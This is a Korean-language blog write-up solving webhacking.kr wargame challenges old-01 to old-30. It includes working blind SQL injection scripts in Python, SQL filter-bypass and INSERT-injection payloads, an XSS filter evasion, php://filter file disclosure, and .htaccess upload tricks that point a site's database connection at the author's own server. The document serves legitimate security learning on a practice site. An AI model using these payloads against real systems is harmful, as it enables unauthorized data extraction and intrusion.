Webhacking.kr write-up old-1~30

조승현·2022년 4월 5일
0

webhacking.kr write-up

목록 보기
1/2

old-01


문제 첫 화면이다. 별거 없다. 소스코드를 살펴보자.

두번째 php 코드를 살펴보자.
user_lv 쿠키 값이 숫자가 아닐시 1
4이상일시 1 로 설정된다.
그리고 3보다 큰 수일때 문제가 해결된다.

1로 설정되는 조건을 피하면서 3보다 큰 수는 3.5, 3.3 등등 소수점을 사용하면된다.
따라서 editthiscookie를 이용해서 cookie값을 변경시켜주면 된다.

solved!

p.s. 쿠키값은 '사용자의' 컴퓨터에 담기기 때문에 변조 가능성이 있기 때문에 중요한 정보는 쿠키에 담지 않도록하거나 암호화를 거쳐서 사용하는것을 권장한다.

쿠키관련 자료 : https://stupidsecurity.tistory.com/9

old-02


문제 첫 화면이다. restricted area라고 한다. 코드를 살펴보자.

admin.php에 접근하면 궁디를 차버린단다... 가보자.

비밀번호를 요구한다. 우린 비밀번호가 없다. 흠

근데 time 쿠키값이 있다. timestamp값이 적혀있는데 blind injection을 했더니

시간이 바뀌었다. 심지어 마지막은 01로 바뀌었다. 여러 방식으로 injection을 해보니 그냥 숫자만 입력해도 저 초값으로 들어갔다. 코드가 어떻게 되어있는겨... 암튼 blind injection이 가능하다는것을 알았으므로 천천히 하나씩 구해보자.

  1. db 개수, db명 길이, db명
  2. table 개수, 길이, 이름
  3. column 개수, 길이, 이름
  4. row값

일일이 다 코드를 삽입하기엔 그 과정들이 너무 많다.
https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
여길 참고해서 페이로드를 작성하면 좋다.

params={}
database = ''
for j in range(20):
    mid = 0
    low = 40
    high = 129
    while(low<=high):
        mid = int((low+high)/2)
        url = "https://webhacking.kr/challenge/web-02/"
        params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))={})'.format(j+1,mid)
        res=requests.get(url, cookies=params)
        if '09:00:01' in res.text:
            database += chr(mid)
            print('find! {}'.format(database))
            break
        
        params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))>{})'.format(j+1,mid)
        res=requests.get(url, cookies=params)
        if '09:00:01' in res.text:
            low = mid+1
        else:
            high = mid-1

이건 마지막 row값을 구하는 페이로드이다. 브루트포스 방식으로 하면 너무 오래걸려서 이진탐색 알고리즘을 사용해서 코드를 작성했다. 기존에 블로그들에 널린 코드들보다 훨씬 빠르게 동작한다.

kudos_to_beistlab 를 password로 입력하면

solved!

old-03


무슨 퍼즐문제가 주어진다. 그냥 대충 눈치껏 풀어준다.

이름을 입력하란다.

정보 3개가 출력되는것을 알 수 있었다.

생각나는 취약점으로는

  1. XSS -> script가 그대로 출력되므로 실패
  2. sql injection -> sql문도 그대로 출력되므로 실패
  3. ip가 출력되는것을 보고 command injection? -> ip변수값을 post로 넘겨줬지만 실패

더 이상 할 수 있는게 없는데 아무것도 안돼서 굉장히 헤맸다.

혹시나 answer에서 sql injection이 터지나 했는데

solved...

상당히 어이없었지만 실제 취약점은 이렇게 예상치도 못한곳에서 터지므로 경험부족으로 보는것이 맞는것같다...

old-04

너무 악랄한 문제다... 그냥 풀이법만 적어보겠다.


첫 화면이다. 뭔 암호문이 적혀있다. 소스코드를 보자.


코드를 읽어보면 10000000~99999999중에 랜덤으로 숫자가 하나 뽑히고 salt_for_you가 붙여진 후 sha1를 500번 돌린다... 설마 설마했는데 진짜 풀이가 코드짜서 일일이 다 돌려보는거란다. 시간도 꽤 걸린다고한다. 아무튼 그냥 무지성으로 브루트포스로 랜덤값 알아내면 끝

solved

old-05


문제 첫 화면이다. Join 버튼을 누르면 access denied가 뜨고 login을 누르면 login 화면으로 넘어간다.

근데 login.php의 경로가 좀 이상하다. mem 폴더안에 들어가있는듯 하다. mem 경로로 이동해보자.

디렉토리가 그대로 출력된다. access denied가 떴던 join.php로 가보자.

빈화면이 뜨고 아무것도 없었다. 코드를 살펴보니 script문이 있다.

뭔가 난독화된 코드가 있었다. 대충 해석해보니 조건문 2개를 통과해야 join.php코드가 보여지는듯하다. 한번 통과해보자

  1. document.cookie에 'oldzombie' 문자열이 있다면 통과
  2. documnet.URL에 'mode=1'문자열이 있다면 통과

1번은 oldzombie쿠키를 만들어주면 되고 2번은
https://webhacking.kr/challenge/web-05/mem/join.php?mode=1
로 뒤에 mode값을 넘겨주면 된다.

성공적으로 join화면을 띄웠다. 아무 계정을 만든후 login을 해보았더니

admin계정으로 로그인을 하란다. 뭔가 join에서의 취약점을 이용해야 하는듯하다. 하지만 약간의 필터링이 걸려있었다. ' or 1=1#을 사용했더니

따옴표에 자동적으로 \가 붙어서 처리되었다. multibyte 우회방법으로 %f1를 입력해보았지만 이 또한 값 그대로 입력되었다.

정답은 (빈칸)admin(빈칸)을 이용하면 admin으로 회원가입하는 것이었다.

solved!

old-06


문제 첫 화면이다 id, pw가 주어지고 끝이다. 소스코드가 있으니 코드를 살펴보자.

코드를 살펴보면 'user' 'password' 쿠키가 주어지지 않으면 여러 암호화 과정을 거쳐서 생성되고 역으로 다시 복호화가 되는것을 알 수있다. 복호화 되었을때의 값이 admin, nimda라면 문제가 해결된다.
그러면 admin, nimda를 암호화 시켜주어 cookie값으로 넘겨주면 자동으로 복호화가 되어 문제가 풀릴것이다.

  1. base64 encode를 20번 수행한다.
  2. 숫자를 특수기호로 replace한다.

다음 과정을 일일이 할 수 없으므로 python 코드로 작성하여 돌렸다.

import base64
import requests

id='admin'
pw='nimda'
id = id.encode('UTF-8')
pw = pw.encode('UTF-8')
for i in range(20):
    id = base64.b64encode(id)
    pw = base64.b64encode(pw)

id=str(id)
pw=str(pw)

id = id.replace("1","!")
id = id.replace("2","@")
id = id.replace("3","$")
id = id.replace("4","^")
id = id.replace("5","&")
id = id.replace("6","*")
id = id.replace("7","(")
id = id.replace("8",")")

pw = pw.replace("1","!")
pw = pw.replace("2","@")
pw = pw.replace("3","$")
pw = pw.replace("4","^")
pw = pw.replace("5","&")
pw = pw.replace("6","*")
pw = pw.replace("7","(")
pw = pw.replace("8",")")

print(id)
print(pw)

출력된 id, pw값을 쿠키값으로 설정하면

solved!

old-07


문제 첫 화면이다. auth를 누르면 access denied가 뜬다. 소스코드를 살펴보자.

val 값을 get해서 sql문을 입력해서 반환되는 값이 2이 나와야 문제가 해결된다. 여러가지 sql injection 방법을 시도해보았는데 먹히는 것은 no=(1)or(id='admin') 같은 괄호활용 우회법만 가능했다. 따라서 ?val=0)union(select(5%3) 로 넘겨주면

solved!

p.s. 왜 다른 방식은 안되고 저 식으로만 되는지는 잘 모르겠음...

old-08


문제 첫 화면이다. 역시나 아무것도 없다. 소스코드를 살펴보자.

agent = http_user_agent인 id를 찾고, 만약 있다면 로그인, 실패하면 agent, ip, 'guest'값을 table에 넣는다.

결국 여기서는 'guest'가 아닌 admin으로 로그인을 해야하므로

$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");

여기에서 sql injection 공격이 수행되어야 할 것같다. ip값은 변조해서 넘겨줄 수 없으므로 agent값을 burpsuite로 변조하여 넣어보자.

asdf', '127.0.0.1', 'admin')#

이렇게 agent값을 넘겨주면 admin 계정이 생길 것이다.
문제없이 done이 출력되었고 다시 agent값으로 asdf를 넘겨주면 admin으로 로그인이 된다.

solved!

생각보다 자잘한 문제없이 바로 풀렸다...

old-09

이번 문제도 의문이 생기는 부분이 조금 있다.

문제 첫 화면이다. 1,2,3을 눌러보자.


1,2는 과일이름이, 3은 secret이 뜬다. no=3인 row의 id값이 password라고 한다. no 전달에 필터링되는것들을 찾아보면

금지 : || 빈칸 ' " union select = ascii
허용 : () ` \ # substr 0x23 like

이 정도이다. 결국 여기에선 if를 사용해야하는데 조금 이상하다. if는 where절에 들어갈수 없기 때문이다. 대부분 sql문이 where no = ' ' 이런 형태로 만들어지는데 if를 사용해야한다니... 첫번째 의문이다. 코드를 보고싶다 ㅠ
아무튼 if를 사용해서 id의 length부터 알아보면

no=if(length(id)like(11),3,0)

에서 no=3의 결과가 나오므로 11자리 인것을 알 수 있다. 이제 substr으로 브루트포싱하여 id값을 알아내자.

params={}
database = ''
for j in range(20):
    for i in range(40,129):
        url = "https://webhacking.kr/challenge/web-09/?no=if(substr(id,{},1)like({}),3,0)".format(j+1,hex(i))
        # params['no'] = 'if(substr(id,{},1)like({}),3,0)'.format(j+1,hex(i))
        # params['id'] = 'guest'
        # params['pw'] = 'guest'
        res=requests.get(url)

        if 'Secret' in res.text:
            database += chr(i)
            print('find! {}'.format(database))
            break

두번째 의문은 저 no값을 params=params로 넘기면 필터링에 걸린다는것이다. 뭐지...? 그래서 url로 바로 값을 지정해줘야한다. 다른 writeup을 봤는데도 다 url로 바로 넘겨주던데 이유를 도통 모르겠다. 흠...
아무튼 저 결과값 alsrkswhaql를 비밀번호로 입력하면

solved!

의문투성이 ㅠ

old-10

문제 화면이다. 저 원위에 마우스롤 놓으면 you가 되고 클릭할때 마다 오른쪽으로 1px 이동하게 되어있다. 코드를 잘 보면 if(left==1600px) 라고 되어있는 부분이 있다. 클릭해서 1600px에 도달하면 문제가 풀리는듯하다... 그냥 +1+px을 +1599+px로 변경하여 클릭 한번 해주면 끝

solved!

한줄평 : 1분컷 문제...

old-11


소스코드를 살펴보자

코드가 굉장히 간단하다. pat값과 값이 val을 get으로 넘겨주면 해결이다.
표현식이 검색해도 잘 안나와서 좀 헤맸다.

  1. [1-3] - 1부터 3까지중 아무 수
  2. [a-f]{5} - a부터 f까지 5번 연속
  3. .* - 뭔 반복문이라는데 찾아봐도 모르겠다
  4. \t = %09

다음 조건을 만족하도록 만들면 1aaaaa_{본인 외부 ip}%09p%09a%09s%09s

solved...

한줄평 : 표현식이 생소해서 좀 어려웠음

old-12

문제 첫 화면이다. javascript 문제인듯하다. 코드를 보니 script 구문으로 코드가 난독화되어져있다. 구글링하여 해당 코드를 검색해보니 aaencode되었다는 것을 알 수 있었다. decode하면

자바스크립트 코드가 그대로 출력된다. 해당 코드를 복붙해서 console에 입력한후에 마지막 if문에 조건문을 그대로 console에 입력해보면

url에 해당 구문이 들어가면 정답이 되는듯하다.

https://webhacking.kr/challenge/code-3/a=youaregod~~~~~~~!

을 입력해주면 solved!

old-13

배점이 높은만큼 꽤 많은 과정을 거쳐야한다. 일일이 다 설명하기엔 너무 많으니 좀 간추려서 설명하겠다.


문제 첫 화면이다. sql injection을 하라고 친절하게 알려준다. 소스코드가 주어지지 않기 때문에 여러개 막 해봐야한다. 해보면 꽤 많은 필터링이 걸려있다. 그중에 (), select, substr, ord, or, % 가 필터링 되지 않는것을 알게 되었고 이걸 잘 활용해보았다. result는 결과 값이 참이면 1을 출력하고 아니면 0을 출력했다

query = {'no':'(0)or(ord(substr(database(),{},1))%{})'.format(str(i+1),str(j))}
// database 이름을 한 글자씩 가져와서 ascii값을 큰 값부터 나머지 연산을 시키면 값이 일치할때 나머지 값이 0이 되므로 result값이 유일하게 0이 나온다.

다음을 활용해서 database의 이름을 알아내었다. 'chall13' 이었다.

그럼 이제 table name을 알아내보자.

query = {'no':'(0)or(ord(substr((select(min(if((select(table_schema)in(database())),table_name,NULL)))FROM(information_schema.tables)),{},1))%{})'.format(str(i+1),str(j))}
// 굉장히 복잡한데 하나씩 뜯어보자. 일단 table name이 informaion_schema.tables에 있을텐데 우리가 지금 사용중인 database의 table name이 필요하다. 이제 database=chall13인 table name들을 뽑아냈다. 하지만 table이 여러개 있을수 있으므로 하나씩 살펴봐야한다. min을 사용해서 하나를 꺼내왔다. 이걸 substr해서 한 글자씩 알아낸다.

table 이름을 하나만 알아냈는데 'flag_ab733768' 가 나왔다. 다른건 안알아봐도 될 것같다.
같은 방식으로 이젠 column name을 알아보자.

query = {'no':'(0)or(ord(substr((select(min(if((select(table_schema)in(database())),column_name,NULL)))FROM(information_schema.columns)),{},1))%{})'.format(str(i+1),str(j))}

column name도 하나만 했는데 'flag_3a55b31d'가 나왔다.
이젠 flag값을 알아내자.

query = {'no':'(0)or(ORD(SUBSTR((SELECT(max(flag_3a55b31d))from(flag_ab733768)),{},1))%{})'.format(str(i+1),str(j))}
// 당연히 flag값 하나 들어있을줄 알았는데 아니다... 값이 또 여러개여서 하나씩 뽑아서 확인해야한다.

min으로 했더니 'flag'가 나와서 max로 돌렸다. FLAG{challenge13gummyclear} flag획득

solved

쉽지 않은 문제였다. 무엇보다도 저 괄호... 괄호 하나 잘못 들어가거나 빠지면 제대로 안되는게 너무 힘들었다. 그래도 나름 많이 배운문제다. 굿

old-14


문제 첫 화면이다. 간단한 자바스크립트가 나와있다. 코드에 의하면 입력값이 ul과 같으면 되는데 console을 이용하면 ul이 540인것을 쉽게 알 수 있다.

다만! 문제가 하나 있었다.

답을 확신하고 540을 입력하고 엔터를 쳤지만 문제가 풀리지 않았다...????
그러다 그냥 끄적이다가 다시해보니 풀렸다????????

문제는 입력을 다 끝내지 않고 엔터를 누르면 입력값이 ck()로 넘어가지 않는듯하다. 따라서 입력을 다 끝마친후에 커서를 바깥으로 옮겨서 check를 눌러주면

solved!!!

10점짜리 문제에 히든퀘스트인감...?

old-15


시작부터 access_denied가 뜨길래 문제에 오류가 생긴줄 알았다...
알고보니 브라우저의 자바스크립트 허용, 차단을 이용한 문제였다.

먼저 차단후 코드를 살펴보면

?getFlag로 이동하면 될거 같다.
다시 허용을 해준뒤 저기로 이동해주면

solved!!!

5점 짜리로 얕봤는데 멍청한건 나였다.

old-16

문제 첫 화면이다. key를 누를때마다 이벤트가 발생하는데 asdw를 이용해서 별을 움직일수있다. 그리고 마지막 cd==124라고 되어있는데 124는 아스키코드로 |이므로 |를 입력해도 되고 경로를 |.php로 바꾸어주어도 풀린다

solved!

old-17

매우 간단한 문제다. 소스코드에 unlock이 입력값과 같으면 되는것 같다.
unlock을 console로 알아낸후 입력해주면

solved!

쉬운문제는 글쓰기 넘 귀찮다

old-18


문제 첫 화면이다. sql injection을 하라고 친절하게 명시되어있다.

소스코드를 살펴보자.

코드도 굉장히 간단하다. 몇가지 단어나 특수문자가 있으면 필터링된다. 또한 친절하게 admin의 no가 2라는것까지 알려준다. 띄어쓰기가 필터링되기 때문에 %09(tab)을 이용하여 -1%09or%09no=2를 입력하면

solved!

old-19

배점이 낮은 문제였음에도 풀지 못한 문제였다. 갠적으로 생각의 범위를 넓혀주는 문제였다. 결코 쉬운문제가 아니다.

문제 첫화면이다. 소스코드와 쿠키값에는 아무런 이상이 없었다. 일단 admin을 제출하면

admin이 아니라고 뜨고 몇초뒤에 로그아웃된다. 다른 값을 넣어보자.

guest로 로그인이 된다. 다른 값을 넣어봐도 다 로그인이 된다. 그리고 또 수상한점이 userid 쿠키값이 생겨났다.
여기서부터 무한삽질을 했다.

  1. sql injection -> 혹시몰라 시도해봤지만 이건 당연히 아니다. 왜냐하면 hello xxxx 저 코멘트가 user 등록 상관없이 그대로 출력된다는 특징을 가지기 때문이다. 즉, db에서 가져오는 데이터가 아니다.
  2. 쿠키값 변조 -> 쿠키값에 특이한점이 있었다. 끝에 %3D%3D로 끝나는것이다. 저건 '=='가 url encode된것인데 base64 encode의 패딩방식이다. 그래서 base64 decode를 해봤지만 또 암호문이 나왔다. 그외에도 admin: true 등 온갖 방법을 해봤으나 실패

정답은 2번에 base64 decode했을때의 암호문이 md5라는점이다. 그것도 "한 글자씩". 한 글자씩 암호화됐을거란건 생각지도 못했다. 따라서 이 문제를 풀기위해선 'a','d','m','i','n'을 하나하나씩 md5 encrypt 한후의 값을 이어 붙여서 base64 encode를 해주면된다.

a=0cc175b9c0f1b6a831c399e269772661
d=8277e0910d750195b448797616e091ad
m=6f8f57715090da2632453988d9a1501b
i=865c0c0b4ab0e063e5caa3387c1a8741
n=7b8b965ad4bca0e41ab51de7b31363a1
base64 - MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ==

쿠키값에 넣어주면
solved

이게 참 딜레마인것같다. 무한의심을 해야하지만 잘못된곳에서 무한의심을하면 답이없다는거... 경험의 중요함이 느껴진다.

old-20

문제 첫 화면이다. input들이 있고 인증문자가 있는것같다. 대충 입력하고 submit을 해보니 Too slow... 라는 문구를 띄우고 다시 돌아온다. 아마도 저 중앙 상단에 적혀있는 time limit 2 second가 있는걸 봐서는 입력을 2초안에 해야하는듯하다.

코드를 살펴보니 이상한점이 있다. submit을 자바스크립트 함수로 구현되어있다. 콘솔로 ck()를 입력해보니 예상대로 submit을 수행해준다.
또 하나 이상한점이 있었다.

쿠키 값이 설정되어있다. 값을 보자마자 떠오른것이 timestamp였다. 확인해보니 맞았다. 아마 이 쿠키값이 2 second의 기준이 되는듯하다. timestamp값을 먼 미래로 놓고 제출하면 되지 않을까 생각해서 해보았다.

이미 예상된 파훼법이었다. 그렇다면 문제를 풀 방법이 결국 2초안에 최대한 빨리 입력해서 submit하는 방법뿐이다.

여기서 자바스크립트로 submit이 구현되어있다는 점에 집중해야한다. 심지어 captcha값도 html element로 구성되어있다. 즉, 자바스크립트로 모든 값을 한번에 입력할수있다는 것이다. 또한, 쿠키값도 new Date().getTime()으로 현재 timestamp값으로 설정할 수 있으므로 코드만 짜서 새로고침한 후에 콘솔로 바로 입력해주면 되는것이다. 코드를 간단히 짜보았다.

var setcookie=function(name,value){
    document.cookie=name+"="+value;
};
setcookie("st",new Date().getTime());
lv5frm.id.value=123;
lv5frm.cmt.value=123;
lv5frm.captcha.value=lv5frm.captcha_.value;
ck();

위 설명대로 해주면

solved!!

old-21

문제 첫 화면이다. 제목이 blind sql injection이라고 친절하게 알려주고있다. admin admin을 입력하면 login fail이 뜬다. guest guest를 입력하면 login success가 뜬다.
본격적으로 sql injection을 해보자. ' or 1=1#을 입력하니 wrong password가 뜨고 ' or 1=2#를 입력하니 login fail이 뜬다. 이 특징을 이용해서 blind sql injection을 하면 될거 같다.
그래서 대충 ' union select 1,2# 를 입력했는데 result:no hack이 뜬다... 계속 확인해본 결과 'select'가 필터링되나보다. select없이 뭘 할 수 있을까 생각했다. 기껏 생각해낸것이 db이름을 알아내는것이다. 파이썬으로 페이로드를 작성해서 id = 'or 1=1 and length(database)=i 을 사용해서 길이를 구하고
id=' or 1=1 and ascii(substring(database(),i,1))=(ascii값)# 를 사용해서 이름을 구하니 db이름은 webhacking이었다.

그런데 문제는 table, column값을 구하려면 'select'가 꼭 필요하기 때문에 아무것도 할 수가 없었다. 그래서 hex encode로 값을 전달해봤지만 실패했다.

도무지 방법이 없어서 write-up을 보니 그냥 column 이름을 id, pw로 예측하고 브루트포싱하는거였다... 내가 너무 치밀했나...? 아무튼 페이로드를 다시 작성해도 돌렸다.

import requests
from urllib.parse import urlparse

params = {}
datalen = 0

for i in range(100):
    url = "https://webhacking.kr/challenge/bonus-1/index.php"
    params['id']="admin' and length(pw)="+str(i)+'#'
    params['pw']='123'
    res=requests.get(url, params=params)
    
    if 'wrong password' in res.text:
        print('find {}'.format(i))
        datalen=i
        break
    else:
        print('failed...')

database = ''
for j in range(datalen):
    for i in range(30,128):
        url = "https://webhacking.kr/challenge/bonus-1/index.php"

        params['id']="admin' and ascii(substring(pw,"+str(j+1)+",1))="+str(i)+"#"
        params['pw']='123'
        res=requests.get(url, params=params)
        if 'wrong password' in res.text:
            print('find {}'.format(chr(i)))
            database += chr(i)
            print(database)
            break

pw가 36자리 문자열이여서 꽤 많은 반복문을 돌려야해서 시간이 꽤 걸린다. 다 돌리면 there_is_no_rest_for_the_white_angel 가 나온다. id=admin, pw=there_is_no_rest_for_the_white_angel를 입력하면
solved

어쩌면 내가 치밀했던게 아니라 그 경우를 생각해내지 못한게 아닐까? 살짝은 억울한 문제였다.

old-22

문제 첫 화면이다. 배점이 꽤나 있는 만큼 어려울 것이라 예상했지만 21번 문제랑 별 다를게 없었다. 여긴 오히려 친절하게 admin으로 login하고 column name이 id, pw 라는게 주어졌다. 이게 맞지... admin admin으로 로그인해보았지만 당연히 실패. guest guest로 join 한 다음 guest guest를 입력하니

갑자기 password hash값을 알려준다. 해쉬값 길이를 세보니 32자리였다. 32자리하면 딱 md5! 복호화시켜보자.

guestapple이란 값이 나왔다. 내가 입력한 값은 guest였는데 apple이 붙어서 암호화 된것을 알 수있다. 해쉬값을 비밀번호로 입력해보았지만 로그인 되지 않았다. 이걸 왜 준거지...? 일단 문제 푸는 단서가 될 수 있으니 염두해두도록하자.
바로 sql injection을 해보았다. ' or 1=1#

비밀번호를 다르게 쳤을때는 보통 login failed가 뜨는데 injection을 하니 wrong password가 뜬다! 뭔가 먹히는듯 하다. 또 blind injection이 시작된다. 이번에는 21번 문제와 달리 get 방식이 아닌 post 방식으로 넘겨주게 되어있다. 또한 uuid, pw로 name이 설정되어 있다. 파이썬으로 페이로드를 작성했다.

import requests
from urllib.parse import urlparse

params = {}
datalen = 0

for i in range(100):
    url = "https://webhacking.kr/challenge/bonus-2/index.php"
    params['uuid']="admin' and length(pw)="+str(i)+'#'
    params['pw']='123'
    res=requests.post(url, data=params)
    
    if 'Wrong password' in res.text:
        print('find {}'.format(i))
        datalen=i
        break
    else:
        print('failed...')

database = ''
for j in range(datalen):
    for i in range(40,128):
        url = "https://webhacking.kr/challenge/bonus-2/index.php"

        params['uuid']="admin' and ascii(substring(pw,"+str(j+1)+",1))="+str(i)+"#"
        params['pw']='123'
        res=requests.post(url, data=params)
        if 'Wrong password' in res.text:
            print('find {}'.format(chr(i)))
            database += chr(i)
            print(database)
            break
        

결과 값으로 해쉬값이 나온다. 6c9ca386a903921d7fa230ffa0ffc153
이것 또한 역시 32자리 수로 md5 복호화를 돌려보았다.

wowapple이다. 아까 내가 만든 guest계정에도 apple이 붙어있었는데 여기도 붙어있다. 아마도 패스워드는 wow인듯하다. id=admin, pw=wow를 입력해주면

solved!

아주 정석적인 문제였던거 같다. 배점이 낮은 전 문제보다 훨씬 쉬웠다.

old-23

문제 첫 화면이다. 상당히 간단하다. xss를 성공시켜라

<script>alert(1);</script>

그대로 입력해보자.

바로 no hack이 출력된다. 일단 특수문자 필터링부터 알아보자.

다행히도 특수기호 필터링은 없는듯하다. 그러면 뭐에 필터링이 걸리는걸까?
여러 시도후에 알아낸점은 문자가 2개이상 연속적으로 나오면 no hack을 출력했다. 꼭 script가 아니더라도 img도 안된다. 결국 한 글자씩 띄엄띄엄 입력하면서 컴퓨터가 읽을때는 붙여읽도록 해야한다. 단순하게 글자들 사이사이에 %00를 넣어보았다.

solved!

혹시나해서 해봤는데 바로 풀렸다. 굿!

old-24


문제 첫 화면이다. 내 ip와 user-agent값이 출력되는듯하다. 소스코드를 살펴보자.


예상대로다 내 정보들을 받아서 필터링?을 거쳐서 출력된다. 여기서 이상한점은 extract($_COOKIE); 이다. 쿠키값은 설정된것이 없는데 저렇게하는게 말이 안된다. $REMOTE_ADDR값을 변조할 방법은 없는듯하다. 그래서 쿠키값으로 설정해주면 되지 않을까?

쿠키값으로 REMOTE_ADDR=127.0.0.1을 입력하니 cilent ip값이 변경되었다. 아까 그 php코드에 있던 필터링을 거쳐서 1밖에 출력이 안되는것 같다. 필터링까지 생각해서 127.0.0.1을 잘 변형시키면

10.270....00....00....1
10.270..00..00..1
10.270..00..00..1
127.0.0.1

solved!

old-25


문제 첫화면이다. 딱봐도 file=파일명내용을 출력해주는 프로그램이다. file=flag해보자.

flag가 php코드 안에 있다는것 같다. 바로 생각난것 php wrapper

php://filer wrapper는 다양한 I/O스트림을 다루는데 사용하는 wrapper입니다.
이 wrapper를 사용할 때 우리는 encode/decode 옵션을 사용하여 서버 안에 존재하는 문서들을 열람 할 수 있습니다.
출처: https://opentutorials.org/module/4291/26819

file=php://filter/convert.base64-encode/resource=flag로 넘겨주면

base64값을 얻을 수 있다. 바로 decode 해주면

solved!

old-26

아무것도 없다. 코드를 살펴보자.

코드 내용은 대강 이렇다. id 파라미터 값을 get으로 전달 받고 전달받은 값에 admin이 포함되면 실패, 그리고 urldecode를 했을때 admin이라면 solve.

배점 낮은 문제이지만 얻어가는 것이 있는 문제였다. write-up을 보고 풀었는데 내가 몰랐던 부분이었다. 내가 기존에 알고있던 url encode 방식은 알파벳은 encoding되지 않고 특수문자만 되는줄 알았다. 실제로 url encode를 해주는 사이트에서 encode를 해도 그렇게 적용된다. 그런데 아니었다.

퍼센트 인코딩 규약은 RFC 3986에 정의되어 있다. 이 RFC에 따르면 URL에서 중요하게 사용되는 예약(reserved) 문자가 있고, 또한 인코딩이 필요하지 않은 비예약(unreserved) 문자가 존재한다.
출처: 위키백과

비예약 문자에 알파벳이 해당되는데 인코딩이 필요하지 않은것 뿐이지 할 수는 있다는것이다. 지금껏 저게 당연하다고 생각해왔는데... 그래서 admin을 url encode하면 %61%64%6d%69%6e가 된다.

하지만! 정답은 %61%64%6d%69%6e가 아니다.

웹 서버와 브라우저 사이에서 데이터 교환 시 브라우저는 폼에서 입력받은 데이터를 자동으로 인코딩한 값을 PHP서버로 보내고 PHP는 받은 인코딩된 값을 자동으로 디코딩한다.
출처: https://lidron.tistory.com/101 [이프이푸이푸]

%61%64%6d%69%6e을 입력하면 결국엔 admin으로 서버가 받는다는 것이다. 따라서 저 값을 한번 더 encode해야한다.
%2561%2564%256d%2569%256e을 입력하면

solved!

비록 배점이 낮은 문제를 write-up을 보고 풀었지만 그만큼의 가치가 있었다. 외우자!!

old-27


문제 첫 화면이다. 친절하게 sql injection 문제라고 알려준다. 코드를 살펴보자.

일단 몇가지 필터링이 걸려있고 no값을 전달해서 admin 계정으로 로그인되도록 하는것 같다.

필터링부터 살펴보자. #, select, (, =, 공백, limit, 0x 가 막혀있다. 다행히도 single quote는 허용해주었다. 특이한점은 (만 금지된것이다. )를 사용하라는 것같다. 역시나 no=({$_GET['no']}) 에 소괄호가 걸려있다.
대강 공백은 %09로, #은 --로, =는 like로 대체할 수 있다. 딱히 풀이가 없다. 자기만의 답을 찾으면 된다. 내가 만든 답은 0)%09or%09no%09like%092--%09 이다. no값으로 넘겨주면

solved!

old-28


문제 첫 화면이다. 파일 업로드 문제인데 php코드를 올려도 필터링에 걸려 코드가 실행되지않는다.
.htaccess 설정값 php_flag engine off 으로 바꿔주면 된다고 한다.
burp suite를 이용해서 file을 올려준뒤 flag.php 로 이동하면

solved

old-29

손도 못댔지만 굉장히 좋은 문제다. 테이블명 알아내고 db명 알아내고 한지가 꽤 돼서 까먹고 있었는데 다시 공부하는 계기가 되었다. 다른 ctf문제에서도 본 기억이 있기 때문에 꼭 숙지하는것이 좋을것같다.


문제 첫 화면이다. 굉장히 막막했다. FLAG is in another table 의 문구로 봐선 분명 sql injection 문제인데 어떻게 injection을 할지 알 수가 없었다. 제출한 파일을 열어볼수도 없고 xss도 안되고... 정답은 sql의 insert문으로 예상하고 filename에 values들을 넣어주는것이다.

INSERT INTO (time, ip, file) values (16092093, 127.0.0.1, $_GET['filename'])

대강 이런 형식일 것이라 예상한다. 결국 가장 먼저 알아야할것은 저 (time,ip,file) 이라고 되어있는 column들의 순서이다. 그래야 values 값을 올바르게 입력해서 injection을 할 수 있기 때문이다.

여러 시도를 해본 결과 filename="zxcv',1233,'본인ip')#" 일때 upload가 정상적으로 성공한다는 것을 알게된다.
주의 할점은 ip값이 반드시 자신의 ip여야 한다는것이다. 다른 ip를 넣으면 안된다. 이것 때문에 많이 헤맸다...

  1. db명 알아내기 - filename="zxcv',1233,'본인ip'), (database(),'112','본인ip')#" // database명 = chall29
  2. table명 알아내기 - filename="zxcv',1233,'본인ip'), ((select group_concat(table_name) from information_schema.tables where table_schema='chall29' ),'112','본인ip')#" // table명 = files, flag_congratz
  3. column명 알아내기 - filename="zxcv',1233,'본인ip'), ((select group_concat(column_name) from information_schema.columns where table_name='flag_congratz' ),'112','본인ip')#" // column명 = flag
  4. select문 사용 - filename="zxcv',1233,'본인ip'), ((select group_concat(flag) from flag_congratz),'112','본인ip')#" // flag = FLAG{didYouFeelConfused?_sorry:)}

solved

sql 기초를 아주 잘 담고있다. 곱씹어보자

old-30

문제 첫 화면이다. 파일 업로드 취약점이다. php코드를 업로드해봤지만 코드가 실행되지 않는다. .htaccess 파일을 업로드해서 php코드가 실행되도록 설정해봤지만 실패했다.

소스코드를 보니 sql connect가 좀 이상하다. 파라미터값이 명시되어있지 않다. 이럴 경우에는 default 값으로 php.ini나 .htaccess 파일의 설정값이 된다고 한다.

php_value mysqli.default_host "ip:port"
php_value mysqli.default_user "username"
php_value mysqli.default_pw "password"

이렇게 .htaccess 파일을 만들고 업로드 해준다. 확장자가 다른값으로 입력되면 burp suite로 변경해준다.
그리고 나서 내 db서버에 연결을 할 수 있도록 해주고 chall30.chall30_answer에 flag column값을 만들어주고 아무값이나 하나 넣어준다.
db 연결이 안돼서 한 6시간 가량을 삽질한거같은데... 일단 필요한 조건부터 나열해보겠다.
1. 포트포워딩
2. 방화벽해제
3. mysql.user 에서 user를 하나 더 만들어서 허용 ip를 설정해준 후 권한부여
4. conf파일(mysql의 경우 /etc/mysql/mysql.conf.d) 설정값에 내부 port설정, bind address=0.0.0.0으로 변경
이걸 다 했는데도 connect가 안돼서 혼자 고군분투하고 있었는데 문제는 외부 port와 내부 port를 헷갈린것이다. 포트포워딩에서는 81번 포트를 뚫었고 내부로는 9091포트로 가도록했는데 연결을 ip:9091 로 계속해서 안됐던것이다... 너무 터무니없는 착각이었다. 이 글을 보시는분은 한번에 성공하시길 ㅠㅠ

아무튼 db연결을 허용했으니 source코드로 다시 가보면

solved

